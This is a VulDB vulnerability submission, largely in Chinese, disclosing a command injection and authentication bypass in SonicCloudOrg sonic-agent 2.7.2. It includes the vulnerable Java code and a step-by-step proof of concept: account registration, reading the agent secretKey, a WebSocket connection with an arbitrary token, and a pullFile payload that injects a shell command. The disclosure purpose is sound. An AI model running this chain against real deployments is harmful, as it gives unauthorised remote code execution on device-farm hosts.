Submit #844484: SonicCloudOrg SonicAgent 2.7.2 Command Injection

Sonic Cloud Platform sonic-agent pullFile 命令注入 RCE
项目地址：
https://github.com/SonicCloudOrg/sonic-agent
漏洞根因（代码层）
pullFile 注入链（两层）
第一层 — AndroidWSServer.java onMessage()，无任何过滤直接透传：
case "pullFile" -> {
String url = AndroidDeviceBridgeTool.pullFile(iDevice, msg.getString("path"));
// msg.getString("path") ← 攻击者完全控制
第二层 — AndroidDeviceBridgeTool.java pullFile()：
String command = String.format("%s -s %s pull %s %s",
getADBPathFromSystemEnv(), // /root/platform-tools/adb
iDevice.getSerialNumber(), // 75c846bb
path, // ← 注入点，原样拼入
file.getAbsolutePath());
// Linux:
process = Runtime.getRuntime().exec(new String[]{"sh", "-c", command});
注入 path = "/sdcard/test.html ; id > /tmp/out.txt ;" 后，Agent 本机执行：
sh -c "adb -s 75c846bb pull /sdcard/test.html ; id > /tmp/out.txt ; /tmp/xxx"
鉴权缺陷
WebSocket URL 格式：ws://{agent}:7777/websockets/android/{secretKey}/{udId}/{token}
secretKey：任意低权限账号调用 GET /server/api/controller/agents/list 即可获取（明文返回）
token：源码仅校验 token.length() == 0，无 JWT 签名验证，任意非空字符串均可通过

步骤一：注册账号并获取 SonicToken
POST /server/api/controller/users/registerContent-Type: application/json{"userName":"poc_test","password":"123456"}

→ {"code":2000,"message":"Registration successful!"}

POST /server/api/controller/users/login{"userName":"poc_test","password":"123456"}

→ {"code":2000,"data":"eyJhbGci...（SonicToken）"}

步骤二：低权限读取 Agent secretKey（鉴权缺陷）
GET /server/api/controller/agents/listSonicToken: eyJhbGci...

→ {"data":[{"secretKey":"57fcb67c-01bb-4c54-9ee1-706fae7d6994","host":"192.168.217.135","port":7777,...}]}

步骤三：获取在线设备 udId
GET /server/api/controller/devices/list?page=1&pageSize=20SonicToken: eyJhbGci...

→ {"data":{"content":[{"udId":"75c846bb","model":"PKX110","status":"ONLINE"}]}}

步骤四：绕过鉴权建立 WebSocket 连接
ws://192.168.217.135:7777/websockets/android/57fcb67c-01bb-4c54-9ee1-706fae7d6994/75c846bb/poc_token
token 字段使用任意字符串 poc_token，握手成功，Agent 返回：
{"msg":"sas","port":35773,"isEnable":true}

步骤五：发送 pullFile 注入 payload
{

"type": "pullFile",

"path": "/nonexistent ; id > /tmp/sonic_poc_out.txt 2>&1 ;"

}

• Source: ⚠️ https://github.com/xpp3901/CVE_APPLY/tree/main/V-S003_SonicAgent_pullFile_CmdInjection_RCE
• User: xpp39 (UID 97299)
• Submission: 06/01/2026 05:25 (2 months ago)
• Moderation: 07/11/2026 14:24 (1 month later)
• Status: Accepted
• VulDB entry: 377802 [SonicCloudOrg sonic-agent up to 2.7.2 Android WebSocket Server AndroidWSServer.java path os command injection]
• Points: 20